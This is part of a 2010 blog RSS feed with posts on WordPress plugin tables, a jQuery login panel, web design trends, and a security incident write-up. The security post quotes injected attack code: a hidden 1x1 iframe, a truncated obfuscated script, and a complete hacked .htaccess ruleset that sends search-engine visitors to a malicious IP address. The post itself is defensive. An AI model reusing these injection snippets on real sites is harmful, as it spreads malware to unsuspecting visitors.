<span style="color: #000088;">$sql</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;id mediumint(9) NOT NULL AUTO_INCREMENT,
	   category_name VARCHAR(100) DEFAULT NULL,
	   category_identifier VARCHAR(45) DEFAULT NULL,
	   category_desc TEXT,
	   display_desc VARCHAR (4) DEFAULT NULL,
	  UNIQUE KEY id (id)&quot;</span><span style="color: #339933;">;</span>
my_plugin_run_install  <span style="color: #009900;">&#40;</span><span style="color: #000088;">$table_name</span><span style="color: #339933;">,</span> <span style="color: #000088;">$table_version</span><span style="color: #339933;">,</span> <span style="color: #000088;">$sql</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>I hope this helps some of the Wordpress plugin authors out there.</p>
]]></content:encoded>
			<wfw:commentRss>http://shoultes.net/function-for-creating-tables-with-wordpress-plugins/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>An easy way to create login panel with jQuery and CSS</title>
		<link>http://shoultes.net/an-easy-way-to-create-login-panel-with-jquery-and-css/</link>
		<comments>http://shoultes.net/an-easy-way-to-create-login-panel-with-jquery-and-css/#comments</comments>
		<pubDate>Wed, 10 Feb 2010 06:53:21 +0000</pubDate>
		<dc:creator>Seth</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://shoultes.net/?p=1694</guid>
		<description><![CDATA[Mohit Aneja over at CSS Jockey has created a pretty nice looking sliding login panel using Jquery and CSS. The sliding login panel is similiar to what can be seen on Twitter and few other popular websites. The script looks pretty lightweight, easy to use and is well documented.  I may be using it soon [...]]]></description>
			<content:encoded><![CDATA[<div class="wp-caption aligncenter" style="width: 597px"><a href="http://www.cssjockey.com/coding/jquery-css-login-panel"><img title="Creating Login Panel with jQuery and CSS" src="http://www.cssjockey.com/wp-content/uploads/2010/02/creating-login-panel-with-css-jquery-post.jpg" alt="Creating Login Panel with jQuery and CSS" width="587" height="203" /></a><p class="wp-caption-text colorbox-1694">Creating Login Panel with jQuery and CSS</p></div>
<p>Mohit Aneja over at <a href="http://www.cssjockey.com/" target="_blank">CSS Jockey</a> has created a pretty nice looking sliding login panel using Jquery and CSS. The sliding login panel is similiar to what can be seen on Twitter and few other popular websites. The script looks pretty lightweight, easy to use and is well documented.  I may be using it soon (when I get around to re-designing this site.)</p>
<p>Check it out the full article here:</p>
<p><a href="http://www.cssjockey.com/coding/jquery-css-login-panel" target="_blank">http://www.cssjockey.com/coding/jquery-css-login-panel</a></p>
<p><span id="more-1694"></span></p>
]]></content:encoded>
			<wfw:commentRss>http://shoultes.net/an-easy-way-to-create-login-panel-with-jquery-and-css/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Most Used and Abused Web Design Trends of All Time</title>
		<link>http://shoultes.net/most-used-and-abused-web-design-trends-of-all-time/</link>
		<comments>http://shoultes.net/most-used-and-abused-web-design-trends-of-all-time/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 01:12:54 +0000</pubDate>
		<dc:creator>Seth</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[Web Design]]></category>

		<guid isPermaLink="false">http://shoultes.net/?p=1559</guid>
		<description><![CDATA[I found the following  post from Web design Ledger to be pretty funny. I have often found my self using reflective text or mirrored objects, flourishes, and using a lot of stock images in a few projects. I even found myself wondering how I could add a picture of a cup of coffee or a [...]]]></description>
			<content:encoded><![CDATA[<p>I found the following  post from <a href="http://webdesignledger.com" target="_blank">Web design Ledger</a> to be pretty funny. I have often found my self using reflective text or mirrored objects, flourishes, and using a lot of stock images in a few projects. I even found myself wondering how I could add a picture of a cup of coffee or a background of a desk into some of my personal designs. Throw in some reflective coffee cups on a desktop and you&#8217;ve got a pretty kickin design. LOL</p>
<p>Read the full article here: <a href="http://webdesignledger.com/tips/most-used-and-abused-web-design-trends-of-all-time" target="_blank">Most Used and Abused Web Design Trends of All Time</a></p>
]]></content:encoded>
			<wfw:commentRss>http://shoultes.net/most-used-and-abused-web-design-trends-of-all-time/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wordpress/Website Security Exploits</title>
		<link>http://shoultes.net/wordpresswebsite-security-exploits/</link>
		<comments>http://shoultes.net/wordpresswebsite-security-exploits/#comments</comments>
		<pubDate>Sat, 02 Jan 2010 03:28:16 +0000</pubDate>
		<dc:creator>Seth</dc:creator>
				<category><![CDATA[HTML]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Website Security]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[wordpress security]]></category>

		<guid isPermaLink="false">http://shoultes.net/?p=1542</guid>
		<description><![CDATA[I have recently seen several websites that I maintain, as well as several that I don&#8217;t maintain, hacked by some kind of bot net. It has been a really good learning experience to say the least.
Most of the hacked websites were running Wordpress, so my first thought that it was some kind of security exploit [...]]]></description>
			<content:encoded><![CDATA[<p>I have recently seen several websites that I maintain, as well as several that I don&#8217;t maintain, hacked by some kind of bot net. It has been a really good learning experience to say the least.</p>
<p>Most of the hacked websites were running <a href="http://wordpress.org/" target="_blank">Wordpress</a>, so my first thought that it was some kind of security exploit in <a href="http://wordpress.org/" target="_blank">Wordpress</a>. Then I was asked to investigate of a few static <a href="http://en.wikipedia.org/wiki/HTML" target="_blank">HTML</a> or <a href="http://en.wikipedia.org/wiki/PHP" target="_blank">PHP</a> driven websites without <a href="http://wordpress.org/" target="_blank">Wordpress</a> installations. All of the hacks were very similar and had their index.php, index.html, and .<a href="http://en.wikipedia.org/wiki/Htaccess" target="_blank">htaccess</a> files modified. In the index.php and index.html files there was javascript code and <a href="http://en.wikipedia.org/wiki/Iframe_virus" target="_blank">iframe virus</a> codes appended to the end of the file that would try to install different variants of <a title="Badware" href="http://en.wikipedia.org/wiki/Badware">badware</a>/<a title="Malware" href="http://en.wikipedia.org/wiki/Malware">malware</a> to unsuspecting visitors. I even seen a file that had stripped out part of the code within the file and replaced it with the malicious javascript and  <a href="http://en.wikipedia.org/wiki/Iframe_virus" target="_blank">iframe virus</a> <a href="http://en.wikipedia.org/wiki/Browser_exploit" target="_blank">browser exploits</a>. Therefore completely breaking the file (luckily we had a backup of the now broken file and were able to to get the site working again.) <span id="more-1542"></span></p>
<p>The funny thing is that some of the these exploits were done sloppily and actually exposed the malicious code that was appended to the end of the file. The malicious code had been placed at the end of the file right after the &lt;/html&gt; tag.</p>
<p>Here is how the code looked:</p>
<p>&lt;/html&gt;<code>iframe src='http://url/' width='1' height='1' style='visibility: hidden;'&gt;&lt;/iframe&gt; </code></p>
<p>or</p>
<p>&lt;/html&gt;<code>script&gt;function c102916999516l4956a7e7c979e(l4956a7e7c9b86){... </code> (which would then show all of the html in the hack)</p>
<p>Instead of:<br />
&lt;/html&gt;<code>&lt;iframe src='http://url/' width='1' height='1' style='visibility: hidden;'&gt;&lt;/iframe&gt;</code></p>
<p>or</p>
<p>&lt;/html&gt;<code>&lt;script&gt;function c102916999516l4956a7e7c979e(l4956a7e7c9b86){... </code></p>
<p>After removing the infected code from the files the hackers went after the .htaccess files of some of the websites by downloading, deleting and re-uploading the new file with redirects (sometimes 2-3 times a day.) So that if someone performs a search on Google (or most of its competitors) and your website comes up for a searched term, the unsuspecting user would be redirected to a porn website or a malicious website serving up viruses and badware etc.</p>
<p>Example of hacked .htaccess file:<br />
<code><br />
RewriteEngine On</code></p>
<p>RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]</p>
<p>RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]</p>
<p>RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]</p>
<p>RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]</p>
<p>RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]</p>
<p>RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]<br />
RewriteRule .* http://87.248.180.90/in.html?s=ipw2 [R,L]</p>
<div id="attachment_1543" class="wp-caption alignright" style="width: 160px"><a href="http://shoultes.net/wp-content/uploads/2010/01/htaccess_attacks.jpg"><img class="size-thumbnail wp-image-1543 colorbox-1542" title="htaccess_attacks" src="http://shoultes.net/wp-content/uploads/2010/01/htaccess_attacks-150x150.jpg" alt="Image of .htaccess Attacks" width="150" height="150" /></a><p class="wp-caption-text">Image of .htaccess Attacks</p></div>
<p>Upon investigation, I found out that the hacks may have come from some kind of spyware or trojan installed a clients  or a coworkers computer. The spyware  looks for ftp user names and passwords on the computer that it has infected. It logs into your server via ftp (using several different dynamic ip addresses) and downloads a file (usually .<a href="http://en.wikipedia.org/wiki/Htaccess" target="_blank">htaccess</a> and index.php files), adds malicious code to the file, deletes the old file on your server, then uploads the new file. The entire process of downloading, deleting, and re-uploading takes around 2 seconds!</p>
<p>To help prevent these attacks. Scan your PC with an updated AV and Malware scanner in safe mode.  From my experience with malware of this nature, the user account passwords are compromised though viruses/malware located on your local computer. This malware sniffs out passwords used and stored by FTP programs located on the computer. In order to protect against future attack, you will need to run full virus and malware scans on your computers to ensure that they are clean. I recommend using multiple scanners as we have found that some scanners do not detect the malware. MalwareBytes ( <a href="http://www.malwarebytes.org/" target="_blank">http://www.malwarebytes.org/</a> ) and ComboFix ( <a href="http://www.bleepingcomputer.com/combofix/how-to-use-combofix" target="_blank">http://www.bleepingcomputer.com/combofix/how-to-use-combofix</a> ) have been reported to be able to clean this malware.  Microsoft recently released an AV/Malware package at: <a href="http://www.microsoft.com/security_essentials" target="_blank">http://www.microsoft.com/security_essentials</a></p>
<p>More info:</p>
<p>http://www.websitesforsaleworld.co.uk/blog/2010/02/securing-your-wordpress-blog-from-attack/</p>
<p><a href="http://www.techjaws.com/new-php-exploit-on-the-loose/" target="_blank">http://www.techjaws.com/new-php-exploit-on-the-loose/</a></p>
<p><a href="http://blog.unmaskparasites.com/2008/12/05/bogus-antivirus-2009-htaccess-exploit/" target="_blank">http://blog.unmaskparasites.com/2008/12/05/bogus-antivirus-2009-htaccess-exploit/</a></p>
<p><a href="http://cyberinsecure.com/researchers-discover-new-cross-browser-exploit-that-affects-all-major-desktop-platforms/" target="_self">http://cyberinsecure.com/researchers-discover-new-cross-browser-exploit-that-affects-all-major-desktop-platforms/</a></p>
<p><a href="http://blog.unmaskparasites.com/2009/01/14/gogo2me-hidden-iframe-injection/" target="_blank">http://blog.unmaskparasites.com/2009/01/14/gogo2me-hidden-iframe-injection/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://shoultes.net/wordpresswebsite-security-exploits/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
